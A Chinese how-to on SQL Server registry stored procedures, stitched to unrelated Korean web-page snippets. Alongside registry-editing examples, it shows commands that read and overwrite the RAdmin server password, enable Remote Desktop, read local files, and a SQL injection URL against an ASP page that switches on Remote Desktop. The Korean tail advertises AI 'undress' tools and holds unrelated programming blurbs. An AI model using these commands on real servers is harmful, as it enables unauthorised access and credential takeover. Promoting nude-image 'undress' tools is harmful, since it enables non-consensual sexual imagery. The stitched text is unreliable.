几个扩展存储过程使用方法
sqlserver里面有一些危险的扩展存储过程,可以操作注册表,所以很多情况下,下面的存储过程为了服务器安全都会将这些存储过程删除。不过防御与安全同等重要。下面是具体的注册的操作方法。
SQL Server中包含了几个可以访问系统的扩展存储过程.但实际上这几个扩展存储过程是未公开的,从sql server 7.0就有了,在SQL server 2000中仍然保留,他们以后可能会删除.但是这几个存储过程却提供了在当前的SQL Server版本中访问系统的能力,
而且很多人利用SQL Server来进行攻击系统时,往往都会用到这几个扩展存储过程.所以最好在SQL Server中禁用他们.
xp_regenumvalues 以多个记录集方式返回所有键值
使用方法:
xp_regenumvalues 根键, 子键
比如说,想看看HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 的所有键值:
use master
exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters'
xp_regread 返回制定键的值
使用方法:
xp_regread 根键,子键,键值名
use master
exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir'
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter'
得到密码
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections'
远程桌面开启为0
xp_regwrite 写入
使用方法:
xp_regwrite 根键,子键, 值名, 值类型, 值
use master
exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello'
exec xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0xD7B7CB315B4E731D8E9EF886CE6DCB23
exec xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0xD7B7CB315B4E731D8E9EF886CE6DCB23;--
exec xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY','';--
必须清空后再写新数值
修改成功的前提是值为空
注意值类型有2种REG_SZ 表示字符型,相当于新建字符串值,REG_DWORD 表示整型,相当于新建DWORD值
REG_BINARY
exec xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWord',1;--
禁用远程桌面
xp_regdeletevalue 删除某个值
使用方法:
xp_regdeletevalue 根键,子键,值名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName'
use master
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter'
xp_regdeletekey 删除键,包括该键下所有值
使用方法:
use master
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey'
exec xp_regdeletekey 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters'
运行前提SA
可能用处不是很大,也没深入研究,因为觉得读asp用xp_makecab更方便点,仅供思维扩展。
方法1.bulk insert aaa FROM 'c:\1.txt'
方法2.xp_readerrorlog 1,'c:\1.txt'
开启远程桌面http://192.168.200.188/product_list.asp?classid=14;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWord',0;--

핫 AI 도구

Undresser.AI Undress
사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover
사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool
무료로 이미지를 벗다

Clothoff.io
AI 옷 제거제

AI Hentai Generator
AI Hentai를 무료로 생성하십시오.

인기 기사

뜨거운 도구

메모장++7.3.1
사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전
중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기
강력한 PHP 통합 개발 환경

드림위버 CS6
시각적 웹 개발 도구

SublimeText3 Mac 버전
신 수준의 코드 편집 소프트웨어(SublimeText3)

뜨거운 주제











처음부터 끝까지: HTTP 요청에 PHP 확장 cURL을 사용하는 방법 소개: 웹 개발에서는 종종 타사 API 또는 기타 원격 서버와 통신해야 합니다. cURL을 사용하여 HTTP 요청을 하는 것은 일반적이고 강력한 방법입니다. 이 기사에서는 PHP를 사용하여 cURL을 확장하여 HTTP 요청을 수행하는 방법을 소개하고 몇 가지 실용적인 코드 예제를 제공합니다. 1. 준비 먼저 php에 cURL 확장이 설치되어 있는지 확인하세요. 명령줄에서 php-m|grepcurl을 실행하여 확인할 수 있습니다.

PHP 함수 기능을 확장하려면 확장 기능과 타사 모듈을 사용할 수 있습니다. 확장은 pecl 패키지 관리자를 통해 설치하고 활성화할 수 있는 추가 기능과 클래스를 제공합니다. 타사 모듈은 특정 기능을 제공하며 Composer 패키지 관리자를 통해 설치할 수 있습니다. 실제 예로는 확장 기능을 사용하여 복잡한 JSON 데이터를 구문 분석하고 모듈을 사용하여 데이터 유효성을 검사하는 것이 포함됩니다.

제목: Oracle 저장 프로시저에 의한 일괄 업데이트 구현을 위한 단계 및 주의 사항 Oracle 데이터베이스에서 저장 프로시저는 데이터베이스 성능을 향상하고 코드를 재사용하며 보안을 강화하기 위해 설계된 SQL 문 집합입니다. 저장 프로시저는 데이터를 일괄 업데이트하는 데 사용할 수 있습니다. 이 문서에서는 Oracle 저장 프로시저를 사용하여 일괄 업데이트를 구현하고 특정 코드 예제를 제공하는 방법을 소개합니다. 1단계: 저장 프로시저 만들기 먼저 일괄 업데이트 작업을 구현하기 위한 저장 프로시저를 만들어야 합니다. 저장 프로시저를 생성하는 방법은 다음과 같습니다.

1.UncaughtError:Calltoundefinitivefunctionmb_strlen(); 위의 오류가 발생하면 mbstring 확장이 설치되지 않았음을 의미합니다. 2. PHP 설치 디렉터리 cd/temp001/php-7.1.0/ext/mbstring을 입력합니다. 3. phpize( /usr/local/bin /phpize 또는 /usr/local/php7-abel001/bin/phpize) PHP 확장 4를 설치하는 명령../configure--with-php-config=/usr/local/php7-abel

저장 프로시저를 삭제하는 MySQL 방법에는 DROP PROCEDURE 문 사용, MySQL Workbench 사용 및 명령줄 도구 사용이 포함됩니다. 자세한 소개: 1. DROP PROCEDURE 문 사용 단계는 먼저 MySQL 클라이언트를 열거나 MySQL을 지원하는 도구를 사용한 다음 MySQL 데이터베이스에 연결하고 마지막으로 다음 SQL 문을 실행하여 저장 프로시저를 삭제하는 것입니다. MySQL Workbench를 사용하여 저장 프로시저 등을 삭제합니다.

Oracle 데이터베이스의 저장 프로시저는 데이터베이스에서 일련의 SQL 문과 데이터 작업을 실행하는 데 사용되는 특정 유형의 저장 프로시저입니다. 실제 데이터베이스 개발 작업에서는 저장 프로세스에서 판단과 논리적 처리를 수행하기 위해 데이터베이스에 특정 테이블이 존재하는지 확인해야 하는 경우가 있습니다. 아래에서는 Oracle 데이터베이스에 테이블이 존재하는지 확인하는 방법을 구현하는 방법을 소개하고 구체적인 코드 예제를 제공합니다. 먼저 시스템 테이블 user_tables 또는 all_t를 사용할 수 있습니다.

Golang 저장 프로시저의 구현 원리 및 응용 저장 프로시저는 관계형 데이터베이스에 저장되고 애플리케이션에서 호출할 수 있는 미리 컴파일된 프로그램입니다. 이는 네트워크 데이터 전송 비용을 효과적으로 줄이고 데이터베이스의 실행 효율성을 향상시킬 수 있습니다. Golang은 저장 프로시저를 직접 지원하지 않지만 SQL 문을 사용하여 저장 프로시저의 기능을 시뮬레이션할 수 있습니다. 이 기사에서는 Golang에서 저장 프로시저를 구현하는 원리와 응용 프로그램을 소개하고 구체적인 코드 예제를 제공합니다. 1. Golang 저장 프로시저의 구현 원리는 Gol에 있습니다.

C#을 사용하여 MySQL에서 사용자 정의 저장 프로시저 및 함수를 작성하는 방법 소개: MySQL은 널리 사용되는 오픈 소스 데이터베이스 관리 시스템이고 C#은 일반적으로 사용되는 객체 지향 프로그래밍 언어입니다. 개발 과정에서 코드 재사용성과 성능을 향상시키기 위해 데이터베이스 저장 프로시저와 함수를 사용해야 하는 경우가 많습니다. 이 문서에서는 C#을 사용하여 MySQL 데이터베이스에 사용자 지정 저장 프로시저 및 함수를 작성하는 방법을 소개하고 구체적인 코드 예제를 제공합니다. 1. 저장 프로시저 저장 프로시저는 특정 작업을 수행하는 SQL 문 집합입니다.
